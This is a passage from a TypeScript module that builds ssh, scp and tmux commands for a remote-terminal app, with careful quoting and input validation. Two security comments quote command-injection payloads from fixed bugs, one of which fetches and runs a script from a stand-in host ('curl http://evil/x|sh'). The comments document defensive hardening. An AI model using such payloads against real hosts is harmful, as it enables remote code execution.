* new, and the caller ACTS on a small age.
*/
export function parseSessionAge(stdout: string): number | null {
const [created, now] = stdout.trim().split(/\s+/)
const a = Number(created)
const b = Number(now)
if (!Number.isFinite(a) || !Number.isFinite(b) || a <= 0 || b <= 0) return null
const age = b - a
return age < 0 ? null : age
}
/**
* Ask the REMOTE tmux which command is in the foreground of a node's pane — the remote
* counterpart of `PtyManager.paneCommand`'s local `display-message` path. The format is
* single-quoted so `#{…}` survives the remote shell verbatim (same idiom as the
* `#{pane_in_mode}` gate in `remoteTmuxPasteArgs`).
*/
export function remotePaneCommandArgs(conn: SshConnection, controlPath: string, sessionId: string): string[] {
return childArgs(
conn,
controlPath,
sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} display-message -p -t ${posixQuote(exactPaneTarget(sessionId))} '#{pane_current_command}'`)
)
}
/**
* One closed-set key into a remote pane (`PtyManager.sendKeys`, the phone's relay `agent.key`).
* `keyArgs` comes from `relay-keys.tmuxKeyArgs` — a digit 1–9 after `-l`, or a fixed key name —
* and is re-checked here before it lands on a remote command line.
*/
export function remoteSendKeyArgs(
conn: SshConnection,
controlPath: string,
sessionId: string,
keyArgs: readonly string[]
): string[] {
const safe = keyArgs.every((a) => /^(-l|[1-9]|Escape|Enter|Right)$/.test(a))
if (!safe || !/^[A-Za-z0-9._-]+$/.test(sessionId)) throw new Error('unsafe remote send-keys')
return childArgs(
conn,
controlPath,
sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} send-keys -t ${posixQuote(exactPaneTarget(sessionId))} ${keyArgs.join(' ')}`)
)
}
/** The remote counterpart of `PtyManager.paneCwd`'s local `display-message` path. */
export function remotePaneCwdArgs(conn: SshConnection, controlPath: string, sessionId: string): string[] {
return childArgs(
conn,
controlPath,
sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} display-message -p -t ${posixQuote(exactPaneTarget(sessionId))} '#{pane_current_path}'`)
)
}
/** Ask remote tmux for the shell PID and current command as one parseable, bounded record. */
export function remotePaneProcessArgs(
conn: SshConnection,
controlPath: string,
sessionId: string
): string[] {
return childArgs(
conn,
controlPath,
sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} display-message -p -t ${posixQuote(exactPaneTarget(sessionId))} '#{pane_pid}|#{pane_current_command}'`)
)
}
/**
* SIGTERM the remote pane's foreground process group, after core has already confirmed tmux is
* reporting an agent rather than a shell. The shell re-reads tpgid here to close the process-race
* window and refuses its own group (`panePid`) before invoking kill.
*/
export function remoteTerminateForegroundArgs(
conn: SshConnection,
controlPath: string,
panePid: number
): string[] {
if (!Number.isSafeInteger(panePid) || panePid <= 0) {
throw new Error('invalid-pane-pid')
}
return childArgs(
conn,
controlPath,
`tpgid=$(ps -o tpgid= -p ${panePid} | tr -d '[:space:]') && ` +
`case "$tpgid" in ''|*[!0-9]*) exit 1;; esac && ` +
`[ "$tpgid" -gt 0 ] && [ "$tpgid" -ne ${panePid} ] && kill -TERM -- "-$tpgid"`
)
}
/**
* The ONE-round-trip remote pane-owner read (issue #460) — identity AND foreground `ps` in a
* single ssh exec, replacing the two-trip pair below (tombstone).
*
* WHY one trip, measured: `deliverAgentMessage` bounds the whole read with
* `PANE_PROBE_TIMEOUT_MS` (2s). Over a healthy mux channel each exec is ~100ms and two fit
* easily — but when the master cannot serve a channel, `-o ControlMaster=auto` silently
* "disables multiplexing" and every exec becomes a FULL ssh login. Measured on a real sshd with
* its 64 `MaxSessions` exhausted by 70 held channels: the probe exec printed
* `mux_client_request_session: session request failed: Session open refused by peer`, fell back
* to a direct connection, and still exited 0 — at 258ms on loopback, i.e. 0.5–1.5s per exec over
* a WAN. Two sequential fallback logins straddle the 2s budget, `probeWithin` answers null, and
* the delivery gate refused a LIVE agent pane — persistently, for as long as the canvas held the
* channels (field report: issue #460, on a host with 85 live `nt-` sessions). One trip halves
* both the latency and the fallback-login count (the 72k-logins hazard the probe's own comment
* warns about).
*
* Shape rules, each learned elsewhere in this repo:
* - the identity line is fenced by `COMBINED_PANE_MARKER`, printed through a QUOTED printf
* format — an unquoted word-initial `##` is an sh comment and prints an empty line
* (session-memory-remote's measured trap);
* - a failed tmux read `exit 9`s so the whole exec throws and the caller answers null — "no
* such session" must stay indistinguishable from the old first-trip failure;
* - the tty never crosses back into OUR command line: it is cut from the reply INSIDE the same
* shell (`${o#*|}`) and expanded quoted, with a `/dev/*` case guard, so there is nothing
* left for `isSafeTty` to defend at the splice (the parser still applies it to the reply);
* - a `ps` that errors prints nothing below the marker (`2>/dev/null || :`) — identity with no
* rows parses to null, exactly the two-trip contract;
* - the `ps` flags are `PS_FOREGROUND_FLAGS`, the same constant the local leg passes as argv,
* so the two legs cannot drift.
*/
export function remotePaneOwnerCombinedArgs(
conn: SshConnection,
controlPath: string,
sessionId: string
): string[] {
// Every splice is checked at the splice (assertPasteTarget's own rule): the id is interpolated
// unquoted into a script the remote login shell parses, so a name this app did not generate is
// refused here rather than trusted to some caller's discipline.
assertPasteTarget(sessionId)
const ps = PS_FOREGROUND_FLAGS.join(' ')
const script =
`o=$(${sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} display-message -p -t ${posixQuote(exactPaneTarget(sessionId))} '${PANE_OWNER_FMT}'`)}) || exit 9; ` +
`printf '%s\\n' "${COMBINED_PANE_MARKER.trimEnd()} $o"; ` +
'tty=${o#*|}; tty=${tty%%|*}; ' +
`case "$tty" in /dev/*) ps ${ps} -t "$tty" 2>/dev/null || : ;; esac`
return childArgs(conn, controlPath, script)
}
/**
* ── DELETED: `remotePaneOwnerArgs` / `remoteForegroundArgvArgs` ─────────────────────────────────
*
* The two-round-trip remote pane read. Replaced by `remotePaneOwnerCombinedArgs` above (issue
* #460): under a saturated or dead ControlMaster each trip silently became a full ssh login, and
* two of them could not fit the delivery gate's 2s probe budget — a live agent pane then read as
* `unknown`, persistently. Do not resurrect the pair "for simplicity": the second trip is also a
* second fallback LOGIN in exactly the degraded state that made the first one slow.
*/
/**
* Ask the REMOTE tmux where a pane's cursor is — the remote counterpart of `PtyManager.paneCursor`,
* and the thing that makes a refreshed SSH terminal land its cursor in the right place. Same
* single-quoting rule as `remotePaneCommandArgs`: the `#{…}` fields have to reach the remote tmux
* verbatim rather than being eaten by the remote shell. Space-separated so one `split` parses it.
*/
export function remotePaneCursorArgs(
conn: SshConnection,
controlPath: string,
sessionId: string
): string[] {
return childArgs(
conn,
controlPath,
sessionTmuxCmd(sessionId, `tmux -L ${SESSION_SOCKET_REF} display-message -p -t ${posixQuote(exactPaneTarget(sessionId))} '#{cursor_x} #{cursor_y} #{cursor_flag}'`)
)
}
export function tmuxProbeArgs(conn: SshConnection, controlPath: string): string[] {
return childArgs(conn, controlPath, tmuxCmd('command -v tmux'))
}
export function listDirArgs(conn: SshConnection, controlPath: string, path: string): string[] {
return childArgs(conn, controlPath, `ls -1Ap ${quoteRemotePath(path)}`)
}
/** Create a remote directory (and any missing parents). `quoteRemotePath` keeps a leading `~`. */
export function mkDirArgs(conn: SshConnection, controlPath: string, path: string): string[] {
return childArgs(conn, controlPath, `mkdir -p ${quoteRemotePath(path)}`)
}
/** scp argv that reuses the project's ControlMaster. `localPath` is a raw local arg; the absolute
* `remotePath` is passed RAW (NOT posixQuote'd). Modern scp (OpenSSH 9+) uses the SFTP protocol by
* default and does NOT run the remote path through a shell — it opens the literal string after the
* `host:`, so a quoted path makes the SFTP server look for a file literally named `'…'` (the upload
* then silently fails). Leaving it raw means SFTP opens the exact absolute path (spaces and all);
* there is no remote shell, so no quoting is needed and no injection is possible (`fileName` is also
* basenamed by the caller, and the path is absolute). scp uses `-P` (uppercase) for the port. */
export function scpArgs(conn: SshConnection, controlPath: string, localPath: string, remotePath: string): string[] {
const args = ['-o', 'ControlMaster=no', '-o', `ControlPath=${controlPath}`, '-o', 'BatchMode=yes', '-P', String(conn.port ?? 22)]
args.push(...agentArgs(conn))
args.push(...identityArgs(conn))
args.push(localPath, `${conn.user}@${conn.host}:${remotePath}`)
return args
}
/**
* The remote side of an scp argument. A `~`-prefixed path (SSH projects default to a home-relative
* `remoteCwd`, so the Explorer's paths inherit it) must NOT travel as a literal `~`: modern scp
* speaks SFTP with no remote shell to expand it, and the transfer would fail looking for a
* directory actually named `~`. A RELATIVE path is the portable answer — SFTP resolves it against
* the login directory, and legacy (shell-mode) scp lands in the same place.
*/
export function remoteScpPath(p: string): string {
if (p === '~') return '.'
return p.startsWith('~/') ? p.slice(2) : p
}
/**
* scp argv that pulls `remotePath` DOWN to `localPath` over the project's ControlMaster — the
* mirror of `scpArgs`. `-r` copies a directory tree. Direction is the only real difference: the
* remote path is still passed raw after `host:` (see scpArgs — quoting it would make the SFTP
* server look for a literally-quoted name), and it can never be read as an option because it is
* concatenated behind `user@host:`. `localPath` is built by MAIN (never a renderer string), so
* the flag-smuggling guard that `uploadFile` needs has no counterpart here.
*/
export function scpDownArgs(
conn: SshConnection,
controlPath: string,
remotePath: string,
localPath: string,
recursive = false
): string[] {
const args = ['-o', 'ControlMaster=no', '-o', `ControlPath=${controlPath}`, '-o', 'BatchMode=yes', '-P', String(conn.port ?? 22)]
args.push(...agentArgs(conn))
args.push(...identityArgs(conn))
if (recursive) args.push('-r')
args.push(`${conn.user}@${conn.host}:${remoteScpPath(remotePath)}`, localPath)
return args
}
/**
* Reverse-forward the local hook server's loopback TCP port to a remote unix socket over the
* existing master (`ssh -O forward -R <remoteSock>:127.0.0.1:<hookPort>`), so remote hook scripts
* can POST to it via `curl --unix-socket`.
*/
function fwdSpec(remoteSock: string, hookPort: number): string {
return `${remoteSock}:127.0.0.1:${hookPort}`
}
export function hookForwardArgs(conn: SshConnection, controlPath: string, remoteSock: string, hookPort: number): string[] {
return ['-O', 'forward', '-R', fwdSpec(remoteSock, hookPort), '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
export function hookForwardCancelArgs(conn: SshConnection, controlPath: string, remoteSock: string, hookPort: number): string[] {
return ['-O', 'cancel', '-R', fwdSpec(remoteSock, hookPort), '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
/**
* The loopback-TCP twin of `hookForwardArgs`: `-R 127.0.0.1:<remotePort>:127.0.0.1:<hookPort>`.
*
* Used ONLY as a fallback when the unix-socket forward binds but fails verification. Field case:
* Tailscale SSH. `tailscaled` serves the session as root and creates the `-R` stream-local socket
* owned by root with mode 0600, so the login user's `curl --unix-socket` can never connect and the
* project silently runs without hooks (no status badges, no session names, no canvas control). A
* loopback TCP listener carries no file ownership, and every generated client already speaks the
* `NODETERM_HOOK_PORT` transport. Bound to 127.0.0.1 explicitly so it is never exposed off-host.
*/
function tcpFwdSpec(remotePort: number, hookPort: number): string {
const okPort = (n: number): boolean => Number.isInteger(n) && n >= 1 && n <= 65535
if (!okPort(remotePort) || !okPort(hookPort)) throw new Error('invalid forward spec')
return `127.0.0.1:${remotePort}:127.0.0.1:${hookPort}`
}
export function hookTcpForwardArgs(conn: SshConnection, controlPath: string, remotePort: number, hookPort: number): string[] {
return ['-O', 'forward', '-R', tcpFwdSpec(remotePort, hookPort), '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
export function hookTcpForwardCancelArgs(conn: SshConnection, controlPath: string, remotePort: number, hookPort: number): string[] {
return ['-O', 'cancel', '-R', tcpFwdSpec(remotePort, hookPort), '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
/**
* A dev-server LOCAL forward over the existing master (`ssh -O forward -L`): this machine's
* `127.0.0.1:<localPort>` → the host's `<target>:<remotePort>`. The local side binds loopback ONLY
* — never `*` or a LAN address, which would publish someone's unfinished app to the network the
* laptop is on. An IPv6 target is bracketed, which is how ssh's `-L` grammar takes it.
* `toAddr` must already be a validated IP literal (core/dev-ports.ts `forwardTarget`).
*/
function localFwdSpec(localPort: number, toAddr: string, remotePort: number): string {
// Re-validated HERE, at the argv site (CLAUDE.md rule 13), not only by the caller: the address
// came off another machine's command output. A throw is caught by the registry as a failed
// forward, never an ssh argument.
const okPort = (n: number): boolean => Number.isInteger(n) && n >= 1 && n <= 65535
const okAddr = /^\d{1,3}(\.\d{1,3}){3}$/.test(toAddr) || (/^[0-9A-Fa-f:]+$/.test(toAddr) && toAddr.includes(':'))
if (!okPort(localPort) || !okPort(remotePort) || !okAddr) throw new Error('invalid forward spec')
const host = toAddr.includes(':') ? `[${toAddr}]` : toAddr
return `127.0.0.1:${localPort}:${host}:${remotePort}`
}
export function localForwardArgs(
conn: SshConnection,
controlPath: string,
localPort: number,
toAddr: string,
remotePort: number
): string[] {
return ['-O', 'forward', '-L', localFwdSpec(localPort, toAddr, remotePort), '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
/** The exact spec `localForwardArgs` opened — ssh matches a cancel against it verbatim. */
export function localForwardCancelArgs(
conn: SshConnection,
controlPath: string,
localPort: number,
toAddr: string,
remotePort: number
): string[] {
return ['-O', 'cancel', '-L', localFwdSpec(localPort, toAddr, remotePort), '-o', `ControlPath=${controlPath}`, ...portArgs(conn), target(conn)]
}
/**
* tmux `-e KEY=VALUE` pairs injecting the remote hook endpoint file + node id + protocol version,
* plus the agent identity. The identity pair matters: the local path's `hookServer.buildPtyEnv`
* sets NODETERM_AGENT_ID and gates NODETERM_CANVAS_CONTROL on `canControlCanvas`, and a remote
* session that inherited neither had the canvas-control CLI disable itself on its own env gate —
* so the skill was inert on every SSH node even once it was installed there.
* `agentId` is omitted for plain (non-agent) terminals, which get neither pair.
*/
export function remoteHookEnvArgs(
endpointPath: string,
nodeId: string,
version: string,
agentId?: string
): string[] {
const env = [
'-e',
`NODETERM_HOOK_ENDPOINT=${endpointPath}`,
'-e',
`NODETERM_NODE_ID=${nodeId}`,
'-e',
`NODETERM_HOOK_VERSION=${version}`
]
if (agentId) {
env.push('-e', `NODETERM_AGENT_ID=${agentId}`)
if (canControlCanvas(agentId)) env.push('-e', 'NODETERM_CANVAS_CONTROL=1')
}
return env
}
/** Contents of the remote endpoint env file the managed hook script sources (unix-socket transport). */
export function remoteEndpointFileContents(
sock: string,
token: string,
version: string,
tokenDir: string
): string {
// Every value is `posixQuote`d for the same reason as the local writer (issue #351): the managed
// script SOURCES this file under /bin/sh, so an unquoted space or shell metachar in the socket
// path, token, or token dir would break the source. Remote paths rarely carry spaces, but the
// token can hold any byte, and the guarantee should not depend on the host's home layout.
return (
`NODETERM_HOOK_SOCK=${posixQuote(sock)}\n` +
`NODETERM_HOOK_TOKEN=${posixQuote(token)}\n` +
`NODETERM_HOOK_VERSION=${posixQuote(version)}\n` +
// The REMOTE token dir ($HOME/.nodeterm/node-tokens on the host), not ours. The host stores
// per-node tokens only; it never holds a secret and can never mint.
`NODETERM_NODE_TOKEN_DIR=${posixQuote(tokenDir)}\n`
)
}
/**
* Endpoint file for the loopback-TCP fallback tunnel (`hookTcpForwardArgs`). `NODETERM_HOOK_SOCK` is
* written EMPTY on purpose: every client tries the socket first (`[ -n "$NODETERM_HOOK_SOCK" ]`), so
* a socket path inherited from a session env or an earlier endpoint must not shadow the port.
*/
export function remoteTcpEndpointFileContents(
remotePort: number,
token: string,
version: string,
tokenDir: string
): string {
return (
`NODETERM_HOOK_SOCK=''\n` +
`NODETERM_HOOK_PORT=${posixQuote(String(remotePort))}\n` +
`NODETERM_HOOK_TOKEN=${posixQuote(token)}\n` +
`NODETERM_HOOK_VERSION=${posixQuote(version)}\n` +
`NODETERM_NODE_TOKEN_DIR=${posixQuote(tokenDir)}\n`
)
}
/**
* The remote PTY program is `ssh <childArgs> host -t '<remoteTmuxCommand>'`. `extraEnv` is an
* already-built list of tmux `-e KEY=VALUE` pairs (e.g. from `remoteHookEnvArgs`) spliced into
* the `new-session` command right after `-A`, mirroring the local tmux `-e` placement.
*
* SECURITY — every token is `posixQuote`d, including the `-e` flags themselves (quoting a flag is
* a no-op to the shell, and hard-coding "even indices are flags" would be an assumption about a
* caller's array shape rather than a property of this function). This is NOT decoration: the
* result is ONE SHELL LINE handed to the remote user's login shell, and the values here carry the
* RAW node id (`NODETERM_NODE_ID`) and the managed-account config dir — both of which come out of
* `.nodeterm/project.json`, a file that travels in a cloned or shared repo and is written on
* remote hosts. Spliced unquoted (as this did until 2026-08), a node id of
* `n1;curl http://evil/x|sh;#` ended the tmux command and ran the rest as the SSH user the moment
* the victim opened that node. Everything else in `remoteTmuxCommand` was already quoted; this was
* the one gap. See control-master.injection.test.ts.
*/
export function remoteTmuxPtyArgs(
conn: SshConnection,
controlPath: string,
sessionId: string,
remoteCwd: string,
program?: string,
programArgs?: string[],
extraEnv: string[] = [],
confPath?: string,
sessionEnv?: RemoteSessionEnv
): string[] {
let cmd = remoteTmuxCommand({ sessionId, remoteCwd, program, programArgs, socket: SESSION_SOCKET_REF, confPath })
if (extraEnv.length)
// The replacement is a FUNCTION, not a string. This is load-bearing and not a style choice:
// in a STRING replacement `$'`, `` $` ``, `$&` and `$$` are expansion patterns, and `$'`
// splices the text FOLLOWING the match — `-s '<session>' -c '<cwd>' '<program>' '<args>'` —
// straight INSIDE the single-quoted token being built. That inverts the quote parity of that
// copy and un-quotes everything `remoteTmuxCommand` had carefully quoted, so an agent id of
// `claude$'` plus a project cwd of `/srv/app;id;#` (both from the same `.nodeterm/project.json`)
// was remote code execution EVEN WITH the posixQuote above. A function replacement is never
// pattern-expanded, so the quoted bytes land verbatim. See control-master.injection.test.ts.
cmd = cmd.replace('new-session -A ', () => `new-session -A ${extraEnv.map(posixQuote).join(' ')} `)
cmd = tmuxOrExplain(cmd, remoteCwd)
if (sessionEnv) cmd = `${remoteSessionEnvPrologue(sessionEnv, confPath)}${cmd}`
// The PATH prologue goes at the very FRONT of the composed line: the session-env prologue's own
// tmux calls (start-server / show-options) and the `command -v tmux` guard must resolve the
// binary the same way new-session does.
return ['-t', ...childArgs(conn, controlPath, sessionTmuxCmd(sessionId, cmd))]
}
/** What a tmux-less remote loses, told to the user IN the pane. English + apostrophe-free: each
* line is embedded as one single-quoted printf argument in the remote shell line. */
const REMOTE_TMUX_MISSING_LINES = [
'nodeterm: tmux was not found on this host.',
'nodeterm runs remote terminals inside tmux so they survive disconnects, app restarts and project switches.',
'Install tmux on the host (brew install tmux / apt install tmux / dnf install tmux) and reopen this terminal.',
'Starting a plain shell instead - it will NOT persist when this terminal closes.'
]
/**
* Wrap the interactive remote tmux command so a host WITHOUT tmux gets a readable explanation and
* a usable plain login shell, instead of the raw `zsh:1: command not found: tmux` that closed the
* pane immediately (issue #449). Runs after the PATH widening, so it only fires when tmux is
* genuinely absent from PATH + every known install dir. The fallback shell is the honest local
* analogue: `PtyManager` falls back to a plain shell when the LOCAL tmux is unavailable too.
* `cd` first (best-effort) so the shell at least opens in the node's cwd; `${SHELL:-sh}` because
* an exec channel without SHELL set should still produce a prompt rather than exec ''.
*/
function tmuxOrExplain(tmuxCommand: string, remoteCwd: string): string {
const msg = REMOTE_TMUX_MISSING_LINES.map(posixQuote).join(' ')
// The `;` separators are SPACE-PADDED on purpose: the tmux command ends in a single-quoted
// token, and `'…';` glues the separator onto that token in the injection tests' shell parser
// (a real sh splits them, but the padded form is equally valid and keeps the parse exact).
return (
`if command -v tmux >/dev/null 2>&1 ; then ${tmuxCommand} ; else ` +
`printf '%s\\n' '' ${msg} '' ; cd ${quoteRemotePath(remoteCwd)} 2>/dev/null ; ` +
`exec "\${SHELL:-sh}" -l ; fi`
)
}
/** Credentials for a remote session, delivered WITHOUT argv: a 0600 file (staged over the
* ControlMaster, content via stdin) that the remote command sources into the tmux client's env
* and deletes, plus the key NAMES (never values) the remote server's `update-environment` must
* learn at runtime — the conf bakes the fixed gateway list, but a custom agent's keys are
* user-defined. See session-env.ts for the whole design. */
export interface RemoteSessionEnv {
/** Absolute remote path of the staged env file (built from the validated remote $HOME). */
file: string
/** Env names OUTSIDE the conf-baked gateway list to append to `update-environment`. */
extraKeys: string[]
}
/** The shell prologue spliced before the remote tmux command. POSIX-sh only, one line. The
* wait-loop bridges the staging race (the upload is fire-and-forget from a synchronous spawn
* path); its budget is 40×50ms = 2s, after which the launch proceeds env-less and the agent
* fails loudly in the pane — fail-open never leaks and never wedges a terminal on a dead
* upload. The `rm -f` runs unconditionally so a late-landing file cannot linger at rest. */
function remoteSessionEnvPrologue(sessionEnv: RemoteSessionEnv, confPath?: string): string {
const f = posixQuote(sessionEnv.file)
const t = `tmux -L ${SESSION_SOCKET_REF}`
const parts: string[] = []
// Names only ever come from isSafeEnvName-shaped keys, but this builder is exported territory —
// re-filter at the splice point, the same idiom every other remote builder here uses.
const keys = sessionEnv.extraKeys.filter((k) => /^[A-Za-z_][A-Za-z0-9_]*$/.test(k))
if (keys.length) {
// The option must exist on the server BEFORE new-session copies the client env, so start the
// server (a no-op when warm) with the same conf new-session would use. The grep guard keeps a
// long-lived server's array from accumulating one duplicate per spawn.
parts.push(`${t}${confPath ? ` -f ${posixQuote(confPath)}` : ''} start-server 2>/dev/null;`)
for (const k of keys) {
parts.push(
`${t} show-options -g update-environment 2>/dev/null | grep -q ' ${k}$' || ${t} set-option -ga update-environment ${k} 2>/dev/null;`
)
}
}
parts.push(
`_nte=0; while [ ! -f ${f} ] && [ "$_nte" -lt 40 ]; do sleep 0.05; _nte=$((_nte+1)); done;`,
`[ -f ${f} ] && . ${f} >/dev/null 2>&1; rm -f ${f};`
)
return parts.join(' ') + ' '
}